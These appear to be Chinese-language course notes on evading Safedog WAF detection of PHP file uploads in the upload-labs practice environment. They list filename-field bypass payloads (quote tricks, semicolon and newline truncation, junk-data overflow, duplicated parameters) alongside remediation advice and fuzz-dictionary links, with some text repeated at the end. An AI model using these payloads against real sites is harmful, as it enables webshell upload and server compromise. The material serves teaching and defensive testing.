思维导图
知识补充
上传参数名解析:明确哪些东西能修改?
Content-Disposition:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件 MIME,视情况更改
常见绕过方法:
防匹配:让检测机制,找不到关键字 (php asp aspx 等)
数据溢出-防匹配(xxx…)
符号变异-防匹配(’ " ;)
数据截断-防匹配( /; 换行)
重复数据-防匹配(参数多次)
Payload:
大量垃圾数据缓冲溢出(Content-Disposition,filename 等)
filename=x.php
filename="x.php
filename='x.php
filename=“a.jpg;.php”;
filename=“Content-Disposition: form-data; name=“upload_file”;x.php”
filename=“x.jpg”;filename=“x.jpg”;…filename=“x.php”;
filename=“xxx/x.php”
filename=
"
x
.
p
h
p
"
文件上传安全修复方案
后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等
演示案例
上传数据包参数对应修改测试
Safedog+云服务器+uploadlabs 测试
数据溢出-防匹配(xxx…)
防匹配:让检测机制,找不到关键字 (php asp aspx 等)
Content-Disposition: form-data;大量垃圾数据 ; name=“upload_file” ; 大量垃圾数据 ; filename=" xxxx"
符号变异-防匹配(’ " ;)
Content-Disposition: form-data;
参数名 :值 ;(分号代表语句结束)
name=“upload_file” ;
safedog匹配文件名的原则,应该是在“xxxx” ‘xxxx’ 双引号或单引号之间的
双引号在后面的时候,被安全狗拦截,说明匹配的是后面的双引号,(或者单引号),之前的文件名!
数据截断-防匹配( ; 换行)
分号;截断,安全狗只匹配到X.jpg;没有匹配到php就结束,但是数据包又把双引号中的当做文件名。
X.jpg;.php
换行后,安全狗匹配的就是 x.p\nph\np
x.\np\nph\np
x\n.\np\nph\np
\nx\n.\np\nph\np
等都可以
(类似于把数据分开传输)
重复数据-防匹配(参数多次)
把匹配的数据多次重复(写多一点)
白名单概念 过滤filename中的值,就把数据包的一些数据名称(白名单概念)插入到其中
Content-Disposition: form-data;
name=“upload_file” ;
filename=" Content-Disposition: form-data; name=“upload_file” x.php"
filename=" Content-Disposition: form-data; name=“upload_file” ; x.php" 冒号去掉 也可以
filename=" Content-Disposition: form-data; name=“upload_file” ; x.php"
Content-Disposition: form-data; name=“upload_file” ; x.php
安全狗认为:x.php跟在了之前的Content-Disposition: form-data; name="upload_file"的后面
而不是filename的值,但是在数据包中x.php确实在“xxxxx” 双引号之间
Safedog+云服务器+uploadlabs_fuzz 测试
字典很重要,有个好字典,成功的可能更大!
文件上传安全修复方案-函数自定义及 WAF
后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等
涉及资源:
字典
https://github.com/fuzzdb-project/fuzzdb
名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等
涉及资源:
字典
https://github.com/fuzzdb-project/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts